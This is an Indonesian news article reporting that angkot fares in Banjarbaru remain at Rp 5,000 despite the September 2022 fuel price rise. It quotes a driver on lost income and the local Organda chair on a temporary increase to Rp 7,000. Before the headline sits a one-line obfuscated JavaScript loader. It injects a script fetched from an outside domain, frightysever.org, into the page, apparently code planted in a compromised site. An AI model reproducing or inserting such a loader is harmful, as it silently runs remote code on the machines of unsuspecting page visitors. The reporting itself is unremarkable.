(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kenaikan BBM, Belum Ada Penyesuaian Tarif Resmi untuk Angkot di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Tarif angkutan kota atau angkot di Banjarbaru belum mengalami kenaikan dari harga Rp 5 ribu per sekali jalan, walau harga Bahan Bakar Minyak (BBM) sudah naik 3 September 2022 lalu.

Salah seorang sopir angkot, Abdul, mengatakan dirinya bersama teman angkot lainnya belum manaikkan tarif angkot.

Dibeberkannya, dengan kenaikan BBM rata-rata pendapatan sehari mereka berkurang hampir 75 persen.

“Apalagi sekarang dengan adanya bus, taksi online dan ojek online, otomatiskan penumpang kami berkurang 75 persen,” bebernya.

Dengan adanya kenaikan BBM ini angkot lebih banyak mangkal ketimbang keliling. Pasalnya saat menarik angkot dari bundaran simpang empat ke Landasan Ulin dirinya harus menghabiskan kurang lebih 3 liter pertalite, dengan harga sekarang Rp 10 ribu perliter, jika dirinya hanya menaikkan 2 orang penumpang, bukannya dapat untung, malah rugi.

Menurutnya, kenaikan BBM sangat berimbas kepada para sopir angkot.

“Kami mengharapkan pemerintah daerah bisa memikirkan nasib kami para angkot,” harapnya.

“Kita masih menunggu tarif dari Pemerintah Kota yang resmi, kalau sekarang hanya kebijakan pihak Organda, kadang penumpang ada ngasih lebih dan ada juga yang tetap,” tambahnya.

Sementara itu, Ketua Organisasi Angkutan Darat (Organda) Banjarbaru, Alfin mengungkapkan terkait kebijakan tarif imbas kenaikan BBM, pihaknya berinisiatif menaikkan hingga 30 persen, yang semula Rp 5 ribu menjadi Rp 7 ribu.

“Ini hanya inisiatif kami sementara, kalau kami mengajukan kenaikan tarif bisa berbulan-bulan baru keluar,” pungkasnya.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell